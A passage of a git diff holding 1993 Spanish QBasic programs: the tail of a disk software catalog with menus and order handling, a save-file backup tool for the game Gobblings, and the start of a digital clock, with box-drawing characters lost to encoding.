PAL$ = "DESEA CREAR UN NUEVO COMENTARIO"
FOR s = 1 TO 31: TOL$ = MID$(PAL$, s, 1): LOCATE 14, 36 + s: PRINT TOL$: PLAY "A20": NEXT
reten:
A$ = INKEY$: IF A$ = "" THEN GOTO reten
IF A$ = "S" OR A$ = "s" THEN GOTO modificar ELSE GOTO fin
modificar:
FOR b = 1 TO 31: LOCATE 14, 36 + b: PRINT " ": PLAY "C25": NEXT
KILL "MENSAJES"
FOR C = 1 TO 5: lon = 30: lin = 16 + C: col = 38: tipo$ = " ..z": GOSUB limlin: AL$(C) = texto$: NEXT C
CLOSE #1: OPEN "R", #1, "MENSAJES", 30: FOR b = 1 TO 5: FIELD #1, 30 AS AU$: LSET AU$ = AL$(b): PUT #1, LOF(1) / 30 + 1: NEXT b: CLOSE #1
PAL$ = "SU MENSAJE QUEDA GRABADO "
FOR s = 1 TO 31: TOL$ = MID$(PAL$, s, 1): LOCATE 14, 36 + s: PRINT TOL$: PLAY "A20": NEXT
PAL$ = "PULSE UNA TECLA PARA VOLVER AL MENU..."
FOR s = 1 TO 37: TOL$ = MID$(PAL$, s, 1): LOCATE 16, 34 + s: PRINT TOL$: PLAY "A20": NEXT
reten2:
IF INKEY$ = "" THEN GOTO reten2
fin:
FOR s = 14 TO 22: LOCATE s, 34: PRINT STRING$(37, " "): PLAY "A20": NEXT
GOSUB secuencia: GOSUB secuencia3: GOTO espera5
END
vbp:
COLOR 7, 1, 1
FOR qw = 13 TO 22: LOCATE qw, 34: PRINT STRING$(37, " "): NEXT
GOSUB derecha
' Visionar/Borrar Pedidos
KEY(13) ON
KEY(12) ON
ON KEY(13) GOSUB derecha
ON KEY(12) GOSUB izquierda
pause1:
I$ = INKEY$
IF I$ = "" THEN GOTO pause1
IF I$ = CHR$(13) THEN GOTO ejecuta4
IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB secuencia: GOSUB secuencia3: COLOR 7, 1, 1: LOCATE 14, 34: PRINT " ": GOTO espera5
BEEP: GOTO pause1
derecha:
Y = Y + 1
IF Y = 3 THEN Y = 1
COLOR 7, 1, 1
LOCATE 10, 39: PRINT "Visionar / Borrar pedidos ";
COLOR 14, 1, 1
IF Y = 1 THEN LOCATE 10, 39: PRINT "VISIONAR";
IF Y = 2 THEN LOCATE 10, 50: PRINT "BORRAR";
RETURN
izquierda:
IF Y = 1 THEN Y = 2 ELSE Y = Y - 1
IF Y = -1 THEN Y = 2
COLOR 7, 1, 1
LOCATE 10, 39: PRINT "Visionar / Borrar pedidos ";
COLOR 14, 1, 1
IF Y = 1 THEN LOCATE 10, 39: PRINT "VISIONAR";
IF Y = 2 THEN LOCATE 10, 50: PRINT "BORRAR";
RETURN
ejecuta4:
KEY(13) OFF
KEY(12) OFF
ON Y GOTO VERD, bord
VERD:
COLOR 12, 1, 1
f = 0: C = 0
OPEN "R", #2, "commun_d.jd", 8
IF LOF(2) = 0 THEN GOTO RETIT
GOTO SIGPW
RETIT:
CLOSE #2: LOCATE 14, 34: PRINT "ARCHIVO VACIO"
QET:
IF INKEY$ = "" THEN GOTO QET
LOCATE 14, 34: PRINT " ": GOTO vbp
SIGPW:
FOR d = 1 TO LOF(2) / 8 + 1
IF f = 21 THEN C = C + 10: f = 1 ELSE f = f + 1
IF f = 21 AND C = 20 THEN GOTO finfile
FIELD #2, 8 AS nom$
IF nom$ <> " " THEN LOCATE 15 + f, 34 + C: PRINT nom$
T$(d) = nom$
GET #2
NEXT
finfile:
CLOSE #2
LOCATE 14, 34: PRINT "Input Name: (May<61>s.) "
LOCATE 14, 34: PRINT "Input Name: "
lon = 8: col = 47: lin = 14: tipo$ = "0..Z": GOSUB limlin: NOMIN$ = texto$
FOR qw = 14 TO 22: LOCATE qw, 34: PRINT STRING$(37, " "): NEXT
IF NOMIN$ = " " THEN GOTO vbp
FOR QWS = 1 TO 21: contr = contr + 1: IF NOMIN$ = T$(QWS) THEN GOTO ELIGE
NEXT QWS
GOTO infal
END
ELIGE:
IF Y = 1 THEN GOTO CONSEC ELSE GOTO BORRD
END
CONSEC:
fil$ = NOMIN$ + ".JD"
PL = 13: TCOL = 34
OPEN "R", #1, fil$, 10
IF fallo = 1 THEN fallo = 0: GOTO infal
IF fallo = 2 THEN fallo = 0: GOTO Infalde
FOR b = 1 TO LOF(1) / 10 + 1
FIELD #1, 10 AS tele$
PL = PL + 1
COLOR 12, 1, 1
lin = PL: col = TCOL: LOCATE lin, col: PRINT tele$
IF PL = 21 THEN PL = 15: TCOL = TCOL + 13
GET #1
NEXT b
CLOSE #1
COLOR 14, 1, 1
LOCATE 22, 34: PRINT "Lista terminada, Pulse una tecla..."
fo:
IF INKEY$ = "" THEN GOTO fo
FOR qw = 14 TO 22: LOCATE qw, 34: PRINT STRING$(37, " "): NEXT
GOTO vbp
infal:
LOCATE 14, 34: PRINT "Archivo no encontrado"
FOR qw = 13 TO 22: LOCATE qw, 34: PRINT STRING$(37, " "): NEXT
Infalde:
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "ERROR DESCONOCIDO;"
GOTO VERD
END
bord:
GOTO VERD
BORRD:
COLOR 14, 1, 1
LOCATE 13, 34: PRINT "ATENCION! Desea eliminarlo (S/N)"
ret:
IF INKEY$ = "" THEN GOTO ret
IF INKEY$ = "n" OR INKEY$ = "N" THEN GOTO vbp
fil$ = NOMIN$ + ".JD"
KILL fil$
nombre$ = " "
OPEN "R", #2, "commun_d.jd", 8
FIELD #2, 8 AS nom$
LSET nom$ = nombre$
PUT #2, contr
CLOSE #2
GOTO vbp
END
menu1:
COLOR 7, 1, 1
CLS
PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><> ";
PRINT "<22> Juegos <20><> <20> <20> <20><> <20><> Catalogo v3.0 <20><> ";
PRINT "<22> <20><> <20> <20> <20><> <20><> <20><> ";
PRINT "<22> Musica <20><> <20> <20> <20> <20><> F1 Help <20><> ";
PRINT "<22> <20><> <20> <20> <20> <20><> <20><> F2 Exit to DOS <20><> ";
PRINT "<22> Procesadores de textos <20><> <20> <20> <20> <20><> ܳ<> <20><><EFBFBD> ";
PRINT "<22> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
PRINT "<22> Pgr. Contabilidad <20><> <20><><EFBFBD><EFBFBD>on<6F>line۰<65>lf۰<66><DBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
PRINT "<22> <20><> Jos<6F> David Guill<6C>n '93 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
PRINT "<22> Pgr. Electronica <20><> "
PRINT "<22> <20><>"
PRINT "<22> Graficos <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ";
PRINT "<22> <20><> <20> <20><>";
PRINT "<22> Utilidades <20><> <20> <20><>";
PRINT "<22> <20><> <20> <20><>";
PRINT "<22> Copiones <20><> <20> <20><>";
PRINT "<22> <20><> <20> <20><>";
PRINT "<22> Lenguajes <20><> <20> <20><>";
PRINT "<22> <20><> <20> <20><>";
PRINT "<22> Anti_virus <20><> <20> <20><>";
PRINT "<22> <20><> <20> <20><>";
PRINT "<22> - MEN<45> PRINCIPAL - <20><> <20> <20><>";
PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٱ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٱ";
PRINT " <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
RETURN
menu2:
COLOR 7, 1, 1
LOCATE 2, 32: PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD>";
LOCATE 3, 32: PRINT "<22> Men<65> actual: MEN<45> PRINCIPAL <20><>";
LOCATE 4, 32: PRINT "<22> <20><>";
LOCATE 5, 32: PRINT "<22> Imprimir Lista <20><>";
LOCATE 6, 32: PRINT "<22> Grabar programas elegidos <20><>";
LOCATE 7, 32: PRINT "<22> <20><>";
LOCATE 8, 32: PRINT "<22> Creditos <20><>";
LOCATE 9, 32: PRINT "<22> <20><>";
LOCATE 10, 32: PRINT "<22> Men<65> de Datos ( JD ) <20><>";
LOCATE 11, 32: PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ";
LOCATE 1, 32: PRINT " <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
COLOR 9, 1, 1
LOCATE 10, 39: PRINT "Men<65> de Datos ( JD )"
COLOR 7, 1, 1
RETURN
menu3:
COLOR 7, 1, 1
LOCATE 2, 32: PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD>";
LOCATE 3, 32: PRINT "<22> Men<65> actual: Men<65> de Datos ( JD ) <20><>";
LOCATE 4, 32: PRINT "<22> <20><>";
LOCATE 5, 32: PRINT "<22> Introducir nuevos programas <20><>";
LOCATE 6, 32: PRINT "<22> Borrar programas <20><>";
LOCATE 7, 32: PRINT "<22> <20><>";
LOCATE 8, 32: PRINT "<22> Introducir mensaje <20><>";
LOCATE 9, 32: PRINT "<22> <20><>";
LOCATE 10, 32: PRINT "<22> Visionar / Borrar pedidos <20><>";
LOCATE 11, 32: PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ";
LOCATE 1, 32: PRINT " <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
COLOR 7, 1, 1
RETURN
cargachar:
lec$(1) = "<22> JUEGOS "
lec$(2) = "<22> MUSICA "
lec$(3) = "<22> PROCESADORES DE TEXTOS"
lec$(4) = "<22> PGRS. CONTABILIDAD "
lec$(5) = "<22> PGRS. ELECTRONICA "
lec$(6) = "<22> GRAFICOS "
lec$(7) = "<22> UTILIDADES "
lec$(8) = "<22> COPIONES "
lec$(9) = "<22> LENGUAJES "
lec$(10) = "<22> ANTI_VIRUS "
lec$(11) = " - Men<65> Principal - "
lot$(1) = " Juegos "
lot$(2) = " Musica "
lot$(3) = " Procesadores de textos "
lot$(4) = " Pgr. Contabilidad "
lot$(5) = " Pgr. Electronica "
lot$(6) = " Graficos "
lot$(7) = " Utilidades "
lot$(8) = " Copiones "
lot$(9) = " Lenguajes "
lot$(10) = " Anti_virus "
lot$(11) = " - MEN<45> PRINCIPAL - "
lec2$(1) = "<22> IMPRIMIR LISTA "
lec2$(2) = "<22> GRABAR PROGRAMAS ELEGIDOS "
lec2$(3) = "<22> CREDITOS "
lec2$(4) = "<22> MEN<45> DE DATOS ( JD ) "
lot2$(1) = "Imprimir Lista "
lot2$(2) = "Grabar programas elegidos "
lot2$(3) = "Creditos "
lot2$(4) = "Men<65> de Datos ( JD ) "
lec3$(1) = "<22> INTRODUCIR NUEVOS PROGRAMAS"
lec3$(2) = "<22> BORRAR PROGRAMAS "
lec3$(3) = "<22> INTRODUCIR MENSAJE "
lec3$(4) = "<22> VISIONAR / BORRAR PEDIDOS "
lot3$(1) = "Introducir nuevos programas "
lot3$(2) = "Borrar programas "
lot3$(3) = "Introducir mensaje "
lot3$(4) = "Visionar / Borrar pedidos "
RETURN
END
limlin:
'(LIM)ite -de- (LIN)ea
'Lon=longitud lin=linea col=columna tipo$=" ..z"
LOCATE lin, col: PRINT "<22>"
FOR A = 1 TO lon
X:
A$ = INKEY$: IF A$ = "" THEN GOTO X
IF A$ = CHR$(13) THEN GOTO finsec
IF A$ = CHR$(27) THEN GOTO limlin
IF A$ = CHR$(8) THEN GOTO borra ELSE GOTO ponchar
borra:
A = A - 1: IF A < 1 THEN A = 1
LOCATE lin, col + A - 1: PRINT " ": LOCATE lin, col + A - 1: PRINT "<22> ": GOTO X
ponchar:
IF A$ < LEFT$(tipo$, 1) OR A$ > RIGHT$(tipo$, 1) THEN GOTO X
IF A = 1 THEN origen$ = STRING$(lon, " "): LOCATE lin, col: PRINT origen$
LOCATE lin, col + A - 1: PRINT A$; : IF A <> lon THEN PRINT "<22>" ELSE GOTO X
NEXT A
finsec:
texto$ = "": FOR I = 1 TO lon
IF CHR$(SCREEN(lin, col + I - 1)) = "<22>" THEN texto$ = texto$ + " " ELSE texto$ = texto$ + CHR$(SCREEN(lin, col + I - 1))
NEXT
LOCATE lin, col: COLOR 1, 7: PRINT texto$: COLOR 7, 1, 1
PLAY "b64": RETURN
corrector:
IF ERR = 52 OR ERR = 53 THEN fallo = 1: GOTO contrif
IF ERR = 27 THEN GOTO nohaypapel
GOTO fallonoloc
contrif:
RESUME NEXT
END
nohaypapel:
COLOR 14, 1, 1
BEEP
LOCATE 13, 34: PRINT "No hay papel."
LOCATE 13, 34: PRINT " "
GOTO il
fallonoloc:
COLOR 15, 1, 1
LOCATE 13, 33: PRINT "Fallo:", ERR; "RESET PROGRAM"
LOCATE 14, 33: PRINT "PULSE UNA TECLA: ..(JD).."
rti:
IF INKEY$ = "" THEN GOTO rti
GOTO principiodelprincipio
tipodeficha:
IF f = 1 THEN Tf$ = "1"
IF f = 2 THEN Tf$ = "2"
IF f = 3 THEN Tf$ = "3"
IF f = 4 THEN Tf$ = "4"
IF f = 5 THEN Tf$ = "5"
IF f = 6 THEN Tf$ = "6"
IF f = 7 THEN Tf$ = "7"
IF f = 8 THEN Tf$ = "8"
IF f = 9 THEN Tf$ = "9"
IF f = 0 THEN Tf$ = "0"
IF f = 10 THEN Tf$ = "0"
RETURN
help:
COLOR 7, 1, 1
LOCATE 14, 34: PRINT "Ayuda basica, JD."
LOCATE 16, 34: PRINT "Use los cursores, para acceder a"
LOCATE 17, 34: PRINT "los men<65>s."
LOCATE 18, 34: PRINT "Presione intro para 'entrar'."
LOCATE 19, 34: PRINT "Pulse ESC para retroceder en un Menu."
LOCATE 21, 34: PRINT " Pulse una tecla"
retorico:
IF INKEY$ = "" THEN GOTO retorico
COLOR 7, 1, 1: FOR wq = 13 TO 21: LOCATE wq, 34: PRINT STRING$(37, " "): NEXT
RETURN
END
finp:
COLOR 7, 1, 1
CLS
PRINT " JD, Catalogo v<>3.1 "
PRINT : PRINT "Gracias por utilizar este sofware."
PRINT : PRINT "Devuelveme este disco cuando acabes."
PRINT " Gracias..."
END

BIN
BAS/COMPRAS.BAS Normal file

Binary file not shown.

144
BAS/GOB.BAS Normal file
View File

@ -0,0 +1,144 @@
DECLARE SUB mensajes ()
DIM SHARED mem$(6)
CLS
a$ = "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><> <20><> <20><> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
b$ = "<22>۱<EFBFBD><DBB1> <20><> <20><> <20><> <20><> <20><> <20>۱<EFBFBD> <20><> <20>۱<EFBFBD><DBB1> <20><>"
c$ = "<22><> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><> <20>۱<EFBFBD> <20><> <20><> <20><>"
d$ = "<22><> <20><><EFBFBD> <20><> <20><> <20>۱<EFBFBD><DBB1><EFBFBD> <20>۱<EFBFBD><DBB1><EFBFBD> <20><> <20><> <20><> <20><> <20><> <20> <20><> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
e$ = "<22><> <20><><EFBFBD> <20><> <20><> <20><> <20><><EFBFBD> <20><> <20><><EFBFBD> <20><> <20><> <20><> <20><> <20>۱<EFBFBD> <20>۱<EFBFBD><DBB1><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
f$ = "<22><> <20> <20><> <20><> <20><> <20><> <20><> <20><> <20><> <20><> <20><> <20><> <20><><EFBFBD><EFBFBD> <20><> <20><> <20><>"
g$ = "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><> <20><> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
h$ = "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
LOCATE 21, 26: PRINT "Pulse una Tecla"
COLOR 12
RANDOMIZE TIMER
a = 1
DO
kdb$ = INKEY$
x% = INT(RND * 8) + 1
y% = INT(RND * 79) + 1
SELECT CASE x%
CASE 1: l$ = a$
CASE 2: l$ = b$
CASE 3: l$ = c$
CASE 4: l$ = d$
CASE 5: l$ = e$
CASE 6: l$ = f$
CASE 7: l$ = g$
CASE 8: l$ = h$
CASE ELSE
END SELECT
LOCATE x% + 10, y%: PRINT MID$(l$, y%, 1)
LOOP WHILE kdb$ = ""
LOCATE 11, 1: PRINT a$
LOCATE 12, 1: PRINT b$
LOCATE 13, 1: PRINT c$
LOCATE 14, 1: PRINT d$
LOCATE 15, 1: PRINT e$
LOCATE 16, 1: PRINT f$
LOCATE 17, 1: PRINT g$
LOCATE 18, 1: PRINT h$
LOCATE 21, 26: PRINT SPACE$(20)
T$(1) = " Conservar Joker's "
T$(2) = " Restaurar Joker's "
T$(3) = " - Creditos - "
T$(4) = " INFO:INFO:INFO "
COLOR 14
FOR e = 1 TO 4
LOCATE 2 + e, 30: PRINT T$(e)
NEXT
fin = false
lin = 1
DO
kdb$ = INKEY$
COLOR 14, 0
IF kdb$ = CHR$(0) + "H" THEN LOCATE 2 + lin, 30: PRINT T$(lin); : lin = lin - 1
IF kdb$ = CHR$(0) + "P" THEN LOCATE 2 + lin, 30: PRINT T$(lin); : lin = lin + 1
IF kdb$ = CHR$(27) THEN END
IF kdb$ = CHR$(13) THEN
SELECT CASE lin
CASE 1
SHELL "copy *.inf *.jd>nul"
IF CHR$(SCREEN(4, 1)) = "A" THEN
LOCATE 4, 1: PRINT SPACE$(80);
LOCATE 4, 30: PRINT T$(2)
COLOR 10
mem$(1) = " Para que el conservador funcione debe haber una partida salvada "
mem$(2) = " y encontrarse este programa en el Subdirectorio de Gobblings <20>3<EFBFBD>"
mem$(3) = " La persistencia de este error se debe a que no hay partidas salvadas "
mensajes
ELSE
END
END IF
CASE 2
SHELL "copy *.jd *.inf>nul"
IF CHR$(SCREEN(5, 1)) = "A" THEN
LOCATE 5, 1: PRINT SPACE$(80);
LOCATE 5, 30: PRINT T$(3)
COLOR 10
mem$(1) = " Para que el restaurador funcione debe haber "
mem$(2) = " un Joker's salvado "
mem$(3) = " La persistencia de este error se debe a que no hay Joker's Salvados "
mensajes
ELSE
END
END IF
CASE 3
COLOR 10
mem$(1) = " Conservador de Joker's por:"
mem$(2) = " Jos<6F> David Guill<6C>n"
mem$(3) = " c/Pintor Garcia Ramos n<>5 2D"
mensajes
CASE 4
COLOR 10
mem$(1) = " Salve una partida, salga del juego y escoja CONSERVAR JOKER'S "
mem$(2) = " Carge el juego nuevamente y utilice todos los Joker's que necesite"
mem$(3) = " Luego SALGA del juego y escoja RESTAURAR JOKER'S y carge el juego."
mensajes
CASE ELSE
END SELECT
END IF
IF lin = 0 THEN lin = 4
IF lin = 5 THEN lin = 1
COLOR 14, 7
LOCATE 2 + lin, 30: PRINT T$(lin)
LOOP
SUB mensajes
COLOR 10
LOCATE 8, 1: PRINT mem$(1)
LOCATE 9, 1: PRINT mem$(2)
LOCATE 10, 1: PRINT mem$(3)
SLEEP
COLOR 14, 0
LOCATE 8, 1: PRINT SPACE$(80);
LOCATE 9, 1: PRINT SPACE$(80);
LOCATE 10, 1: PRINT SPACE$(80);
END SUB

302
BAS/HORA.BAS Normal file
View File

@ -0,0 +1,302 @@
'Generador de un reloj digital en pantalla'
DEFINT A-Z
DECLARE SUB PonNum (Digito$, Posicion)
DIM SHARED P(6), A
mir$ = "Reloj ( Jos<6F> David Guill<6C>n 15/02/93 )"
IF MID$(mir$, 13, 1) <> "<22>" THEN PRINT " Programa modificado 1": SYSTEM
IF MID$(mir$, 26, 1) <> "<22>" THEN PRINT " Programa modificado 2": SYSTEM
P(1) = 0
P(2) = 80
P(3) = 200
P(4) = 280
P(5) = 400
P(6) = 440
SCREEN 9
Hora$ = LEFT$(TIME$, 2)
Min$ = MID$(TIME$, 4, 2)
Hora1$ = LEFT$(Hora$, 1)
A = 1
PonNum Hora1$, 1
Hora2$ = MID$(Hora$, 2, 1)
A = 2
PonNum Hora2$, 2
LINE (170, 20)-(180, 30), 12, BF
LINE (170, 60)-(180, 70), 12, BF
Min1$ = LEFT$(Min$, 1)
A = 3
PonNum Min1$, 3
Min2$ = MID$(Min$, 2, 1)
A = 4
PonNum Min2$, 4
LINE (370, 50)-(380, 60), 12, BF
LINE (370, 80)-(380, 90), 12, BF
DO
Hora$ = LEFT$(TIME$, 2)
Min$ = MID$(TIME$, 4, 2)
IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM
IF OldHor2$ <> LEFT$(Hora$, 1) THEN
Hora1$ = LEFT$(Hora$, 1)
A = 1
PonNum Hora1$, 1
END IF
OldHor2$ = LEFT$(Hora$, 1)
IF OldHor1$ <> MID$(Hora$, 2, 1) THEN
Hora2$ = MID$(Hora$, 2, 1)
A = 2
PonNum Hora2$, 2
END IF
OldHor1$ = MID$(Hora$, 2, 1)
IF OldMin2$ <> LEFT$(Min$, 1) THEN
Min1$ = LEFT$(Min$, 1)
A = 3
PonNum Min1$, 3
END IF
OldMin2$ = LEFT$(Min$, 1)
IF OldMin1$ <> MID$(Min$, 2, 1) THEN
Min2$ = MID$(Min$, 2, 1)
A = 4
PonNum Min2$, 4
END IF
OldMin1$ = MID$(Min$, 2, 1)
IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM
seg$ = MID$(TIME$, 7, 1)
A = 5
PonNum seg$, 5
seg$ = MID$(TIME$, 8, 1)
A = 6
PonNum seg$, 6
LOOP
SUB PonNum (Digito$, Posicion)
SELECT CASE VAL(RTRIM$(LTRIM$(Digito$)))
CASE 0
D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 0: D6 = 1: D7 = 1
CASE 1
D1 = 0: D2 = 0: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0
CASE 2
D1 = 0: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 0: D7 = 1
CASE 3
D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1
CASE 4
D1 = 1: D2 = 0: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 0
CASE 5
D1 = 1: D2 = 1: D3 = 0: D4 = 0: D5 = 1: D6 = 1: D7 = 1
CASE 6
D1 = 1: D2 = 1: D3 = 0: D4 = 1: D5 = 1: D6 = 1: D7 = 1
CASE 7
D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0
CASE 8
